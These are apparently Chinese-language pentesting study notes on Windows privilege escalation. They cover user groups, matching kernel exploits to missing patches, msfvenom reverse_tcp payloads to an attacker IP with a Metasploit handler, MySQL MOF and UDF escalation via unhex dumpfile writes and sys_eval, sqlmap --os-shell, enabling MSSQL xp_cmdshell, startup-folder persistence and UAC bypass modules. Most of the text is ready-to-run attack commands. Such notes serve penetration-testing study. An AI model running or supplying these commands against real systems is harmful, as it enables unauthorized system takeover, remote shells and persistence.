提权方式

1、系统漏洞提权 *

2、数据库提权 *

3、第三方软件提权

4、系统配置错误提权

脚本提权
数据库提权
mysql:mof、udf
mssql:xp_cmdshell
开机启动项提权
用户开机启动项
系统开机启动项
bypass_uac提权
进程注入
内存注入
注册表劫持

用户+组

administrators 管理员组,最高权限
任何用户加入这个组,就有管理员权限,可以开关机、远程桌面、修改配置等
users 用户组
普通账户,通过屏幕登录系统,不能远程登录
remote desktops groups 远程桌面组
远程桌面组,用户加入后,可以3389登录
电源管理、开关机、磁盘…组
用户 server系统:
administrator 管理员,最高权限用户
Guest 来宾账户,默认禁用
注意: server 2012-2019中,administrator与Guest都默认禁用
安装系统时设置激活状态账户,在机房与云服务器中,默认设置administrator为激活账户
desktop系统:
windows7及以后 安装系统时,设置自定义激活账户,加入管理员组

权限

Guest -> 普通账户 -> 电源管理、计划任务… -> administrator -> system

network server(网络权限,低)、local server(本地权限,高)

在服务(本地) -> 属性 ->登录中可更改系统账户或自定义账户,更改服务运行的权限

提权流程

获得目标机shell
查看目标机补丁记录 systeminfo -> 修补程序
漏洞发布时间:2019-12
操作系统发布时间:新版本不受影响
漏洞影响范围:全版本
补丁编号:KB4525235
系统安装时间:最新安装的可能包含更多补丁
补丁包:多个补丁合集,不知道具体补丁版本

注意: vps中集成最新补丁,查看不到补丁版本,且可能无法提权
寻找对应的EXP 补丁与提权脚本在线转换:
http://blog.neargle.com/win-powerup-exp-index/# (对应信息较旧)
根据补丁查找脚本:
github搜索windows-kernel
如:
https://github.com/SecWiki/windows-kernel-exploits 提权脚本*
exploit-db.com 漏洞库
使用EXP进行提权 注意查看脚本说明:
编译、使用方法等

msf提权

方法 语句
开启两个终端 ctrl+shift+F1~F7
其中运行此命令 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.21.23 lport=1111 -f psh-cmd
无文件落地,直接执行


msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.21.23 lport=1111 -f exe -o msf.exe
生成文件
另一个进入msfconsole,开启监听(设置session) use exploit/multi/handler set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0 set lport 1111
set exitonsession false 允许建立多个会话
run

常用meterpreter命令

命令 说明
systeminfo 查看系统信息
getuid 查看当前权限
getsystem 自动提权
upload x 传文件
shell 切换至命令行版本

常用msf命令

命令 说明
search 搜索
use id 使用脚本
show options 显示参数
set x 设置参数
run 启动
sessions 查看会话
sessions id 使用session

windows数据库提权

前提:获得Mysql的root权限且数据库以system权限运行

核心:文件导出功能

前提:(mof提权、udf提权、开机启动项提权)

拥有mysql的root权限

mysql以system运行

写文件开关开启

说明 方法
mof提权 c:/windows/system32/wbem/mof
mof编程语法,可写脚本,脚本每分钟执行一次
注:windows 2003、xp可用,需要有读写权限

二进制形式读取内容,使用
select unhex('xxx') into dumpfile 'x/mof/x.mof'语句写入 可以增加账号(每个文件只能执行一条语句)或者执行后门文件
UDF提权 通过自定义函数提权 使用前提、payload见udf.txt文件
数据库版本 操作系统 udf.dll文件导出路径
<5.0 所有操作系统 导出路径随意
<=5.1 windows2003
windows2000
c:\windows\system32\udf.dll
c:\winnt\system32\udf.dll
>5.1 所有操作系统 MySQL安装目录下的\lib\plugin\udf.dll

注:

/lib/plugin目录本身是不存在的,可以利用NTFS ADS流来创建文件夹

select 'xxx' into dumpfile 'MySQL目录\\lib::$INDEX_ALLOCATION';

select 'xxx' into dumpfile 'MySQL目录\\lib\\plugin::$INDEX_ALLOCATION';

常用mysql查询语句

语句 说明
select version(); 查看版本
show variables like ‘%version_compile_os%’; 查看位数
select @@datadir 查看数据库安装路径
show variables like ‘%plugin%’ 查看插件路径
show variables like ‘%secure%’ 查看是否可读写文件
create FUNCTION sys_eval RETURNS string SONAME ‘x.dll’ 使用dll文件创建函数
select sys_eval(‘whoami’) 执行命令
DROP FUNCTION sys_eval 删除函数

UDF提权步骤

说明 语句
查看数据库版本 select version();
查看数据库位数 show variables like ‘%version_compile_os%’;
查看安装路径 select @@datadir;
查看插件路径 show variables like ‘%plugin%’;
新建插件目录 (若是不存在) select ‘xxx’ into dumpfile ‘c:\phpStudy\MySQL\lib::$INDEX_ALLOCATION’; select ‘xxx’ into dumpfile ‘c:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION’;
根据数据库版本、位数选择payload select unhex(‘4D5A900…00000000’) into dumpfile ‘c:\phpStudy\MySQL\lib\plugin\11.dll’;
使用dll文件创建命令执行函数 CREATE FUNCTION sys_eval RETURNS string SONAME ‘11.dll’;
执行命令 select sys_eval(‘whoami’);

sqlmap提权

pip install pymysql

sqlmap -d mysql://root:[email protected]:3306/mysql --os-shell --batch

开机启动项提权(>2008)

bat、vbs、ps1、exe脚本

路径 说明
用户目录下开机启动项
C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
用户目录下的开机启动项只有在该用户登录时才会启动,重启无法触发。
系统开机启动项
C:\ProgramData\Microsoft\Windows\Start Menu\Programs
开机启动

MSSQL数据库提权

默认xp_cmd处于关闭状态

语句 说明
select count(*) from master.dbo.sysobjects where xtype=”x” and name=”xp_cmdshell” 判断是否开启xp_cmdshell
exec sp_configure ‘show advanced options’,1; 允许修改高级参数
reconfigure; 刷新配置
exec sp_configure ‘xp_cmdshell’,1; 打开xp_cmdshell拓展
reconfigure; 刷新配置
sa账户、mssql以system运行 exec master.dbo.xp_cmdshell ‘whoami’;

exec xp_cmdshell ‘whoami’;

Bypass UAC

使用MSF绕过

payload 说明
exploit/windows/local/bypassuac bypassuac 模块将通过进程注入,利用受信任的发布者证书绕过Windows UAC,它将为我们生成另一个关闭UAC的shell
exploit/windows/local/bypassuac_injection (内存注入) bypassuac_injection 模块直接运行在内存的反射DLL中,不会接触目标机的硬盘,从而降低了被杀毒软件检测出来的概率
exploit/windows/local/bypassuac_eventvwr bypassuac_eventvwr 模块通过在当前用户配置单元下劫持注册表中的特殊键,在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC

使用

说明 语句
bypassuac模块 use exploit/windows/local/bypassuac
set payload windows/meterpreter/reverse_tcp set lhost _ip
set session _id
run
RunAs 模块 (会弹窗,需要手动确定,不推荐) use exploit/windows/local/ask set session _id run
CVE-2019- 1388实现bypass UAC 下载地址(HHUPD.EXE)
https://github.com/jas502n/CVE-2019-1388
在目标机器中双击运行,点击另存网页,打开cmd,即可获得管理员权限